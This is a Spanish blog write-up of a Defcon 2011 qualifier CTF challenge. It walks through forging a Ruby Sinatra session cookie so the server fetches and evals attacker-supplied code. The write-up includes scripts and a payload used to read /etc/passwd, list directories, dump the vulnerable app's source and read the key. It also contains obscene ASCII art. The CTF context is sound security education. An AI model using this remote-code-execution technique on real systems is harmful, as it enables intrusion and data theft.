Contenido principal

WriteUp Pwtent Pwnables 300 - Defcon 2011

Junio 6, 2011

Este fin de semana se dio a cabo la preclasificatorias para Defcon 2011, en total fueron 25 problemas del cual solo resolvimos 8. A continuación la descripción, resolución y respuesta para el reto Pwtent Pwnables 300.

Descripción

What is the id number of the official training manual for ddtek?: pwn508.ddtek.biz:52719

Solución

Al ingresar al sitio web encontramos unas imágenes y un video que no son muy útiles, al poner una dirección no existente el servidor nos redireccionaba a una página decente donde nos mostraba el error, observando el código de esta última página encontramos que una carpeta llamada "__sinatra__" almacen las imágenes para errores del servidor como "Not found" o "Interval server error" con su respectivo código: "400.png" y "500.png".

Ingresando caracteres no permitidos para nombres de archivo en las imágenes (http://pwn508.ddtek.biz:52719/__sinatra__/%00400.png) nos dimos cuenta que el servidor web se trataba de WEBrick y que estaba corriendo la aplicación Sinatra para Ruby.

Sinatra for ruby

En los mensajes de error se podía ver claramente el código usado por la aplicación, por lo que luego de varios intentos y de finalmente entregar una cookie corrupta descubrimos la forma en cómo ésta se estaba codificando:

    puts "did not find session"
    session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
    session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
    session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
    session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
    b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))
    b.call

A continuación se presentan los cuatro valores en plano para el anterior hash table, el único valor desconocido es el de la variable "url", el cual obtenemos de la Cookie enviada por el servidor.
El script utilizado para esta parte fue el siguiente

<?php

$content = 'BASE64';
$compressed = base64_decode($content);
$plaintext = gzuncompress($compressed); // similar function to Zlib::Inflate.inflate
echo $plaintext;

Valor 1

eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t

                          _//(
                         oo\\\\
                         <_.\\\
                          \__/"
                          //_`.
      ,@;@,              ||/ )]
     ;@;@( \@;@;@;@;@;@,_|/ / |
     /a `@\_|@;@;@;@(_____.'  |
    /    )@:@;@;@;@/@:@;@#|"""|
    `--"'`;@;@;@;@|@;@;@`==\  )
          `;@;\;@;\;@;@`  || |
            || |   \\ ( __||H|
            || |   // / \=="#'=
            // (  // /   |__V_|
            ''"'  '"'___<<____) (sheep fucker)

Valor 2

eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc

                                         _,-%/%|
                                     _,-'    \//%\
                                 _,-'        \%/|%
                               / / )    __,--  /%\
                               \__/_,-'%(%  ;  %)%
                                       %\%,   %\
                                         '--%' (i don't know what is this)

Valor 3 (Interesante)

mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i => eNpj4VCSySgpKbDS1zc0MtczAEJDK1MjCwMjfQBR/wXC

http://127.0.0.1:52802/

Valor 4

eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ

* g o a t s e x * g o a t s e x * g o a t s e x
g                                               g
o /     \             \            /    \       o
a|       |             \          |      |      a
t|       `.             |         |       :     t
s`        |             |        \|       |     s
e \       | /       /  \\\   --__ \\       :    e
x  \      \/   _--~~          ~--__| \     |    x
*   \      \_-~                    ~-_\    |    *
g    \_     \        _.--------.______\|   |    g
o      \     \______// _ ___ _ (_(__>  \   |    o
a       \   .  C ___)  ______ (_(____>  |  /    a
t       /\ |   C ____)/      \ (_____>  |_/     t
s      / /\|   C_____)       |  (___>   /  \    s
e     |   (   _C_____)\______/  // _/ /     \   e
x     |    \  |__   \\_________// (__/       |  x
*    | \    \____)   `----   --'             |  *
g    |  \_          ___\       /_          _/ | g
o   |              /    |     |  \            | o
a   |             |    /       \  \           | a
t   |          / /    |         |  \           |t
s   |         / /      \__/\___/    |          |s
e  |           /        |    |       |         |e
x  |          |         |    |       |         |x
* g o a t s e x * g o a t s e x * g o a t s e x *
(omg, goatse :|)

El único valor interesante es el tercero, que contiene una dirección local con el puerto 52802. Intentamos conectarnos a dicho puerto pero el firewall o la aplicación no lo permitía, así que lo que hicimos fue modificar el valor de la cookie haciendo que apuntara a nuestra IP y a un puerto específico utilizando el siguiente script para Ruby:

require 'Zlib'
require 'base64'

session = {}

session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"

session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="

session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump('http://1.3.3.7:6047'),9))

session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="

print Base64.encode64(Marshal::dump(session))

Ahora con la cadena apuntando a nuestro servidor podemos modificar la cookie y ver que el servidor se conecta a nuestro servicio usando el protocolo HTTP.
Al responder con cualquier cadena, la aplicación nos retorna un nuevo error, indicando que el contenido tuvo un error en la descompresión

  if session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']
    puts "found session"
    #response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp

    nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
    puts "attempting fetch from #{nurl}"
    $stdout.flush

    response = HTTPClient::get_content(nurl).chomp

    mcode = Zlib::Inflate.inflate(Base64.decode64(response))

La respuesta se la debemos entregar comprimida y codificandola con base64

<?php

echo base64_encode(gzcompress("print 'a'"));

A lo que el servidor nos vuelve a sacar un error unas líneas más abajo indicando que el método call no existe en la clase bp

    mcode = Zlib::Inflate.inflate(Base64.decode64(response))
    puts "got mcode: #{mcode}"
    $stdout.flush

    #bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
    bp = eval(mcode)
    puts "got proc: #{bp}"
    $stdout.flush

    bp.call

Por lo que Fernando averiguó como crear la clase que al llamar la función call retornara el contenido que deseabamos

<?php

$class = 'class Tits; def self.call;return CODIGO;end; end; bp = Tits'
echo base64_encode(gzcompress($class));

Lo primero que hicimos fue leer el archivo /etc/passwd

//return IO.readlines('/etc/passwd', '').to_s
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
6rJJJ1eF:x:1000:1000::/home/6rJJJ1eF:/bin/sh
pen:x:1001:1001::/home/pen:/bin/sh

Listar el contenido del directorio /home/6rJJJ1eF

//return Dir.entries('/home/6rJJJ1eF').join(' ')
.
..
asshoo
assrck
key
www

Obtener el código de assrck

//return IO.readlines('/home/6rJJJ1eF/assrck', '').to_s
#!/usr/bin/env ruby

# $Rev: 510 $

require 'pp'

require 'base64'
require 'yaml'
require 'zlib'

require 'optparse'

require 'rubygems'
require 'sinatra'
require 'httpclient'

$options = { :port => 52700 }
$options = { :oport => 52800 }

$options[:port] = ARGV[0].to_i if ARGV[0]
$options[:oport] = ARGV[1].to_i if ARGV[1]

$wdir = "./www"

enable :sessions
set :port, $options[:port]
set :bind, "127.0.0.1"
set :static, "true"
set :public, $wdir

puts "i am assrck"

url = "http://127.0.0.1:#{$options[:oport]}/"
get '/' do
  if session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']
    puts "found session"
    #response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp

    nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
    puts "attempting fetch from #{nurl}"
    $stdout.flush

    response = HTTPClient::get_content(nurl).chomp

    mcode = Zlib::Inflate.inflate(Base64.decode64(response))
    puts "got mcode: #{mcode}"
    $stdout.flush

    #bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
    bp = eval(mcode)
    puts "got proc: #{bp}"
    $stdout.flush

    bp.call
  else
    puts "did not find session"
    session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
    session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
    session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
    session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
    b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))
    b.call
  end
end

Y por último obtener el contenido del archivo key

//return IO.readlines('/home/6rJJJ1eF/key', '').to_s
ISBN-13: 978-1931993494

Ya podemos obtener nuestro paperback y los 300 puntos :D

Archivado en: Criptografía, Hacking, Retos informáticos, Seguridad |

7 comentarios

  1. Djo Junio 6, 2011 @ 4:27 am

    Congrats !

    Thanks, nice article.

  2. g05u Junio 6, 2011 @ 8:30 am

    Buen CTF lastima que se me fue el internet el domingo y no pude seguir mas :C. Salu2

  3. hdstryOwrld Junio 6, 2011 @ 12:45 pm

    Bastante groso :), élite como siempre. Igual no entendí ¿Cómo es que llegas a ese nivel de solución?. Es decir como llegas a que la lógica del reto es de X manera?

  4. Sysroot Junio 6, 2011 @ 5:13 pm

    Djo: Thanks :)

    g0su: los que quedaban estaban muy malucos, pero fácil hubieras hecho el rr200 :(

    hdstryOwrld: pues la solución estaba ante nuestros propios ojos, al sacarle el error al servidor mostraba tal cual varias partes del código fuente, fue cuestión de entender que hacía el código fuente y explotarlo.

  5. bef0rd Junio 8, 2011 @ 7:53 pm

    null life ftw!

  6. Sysroot Junio 8, 2011 @ 8:28 pm

    Completely agree ;)

  7. rosario Septiembre 23, 2011 @ 8:15 am

    realmente muy bueno, gracias por compartirlo :)

Deja un comentario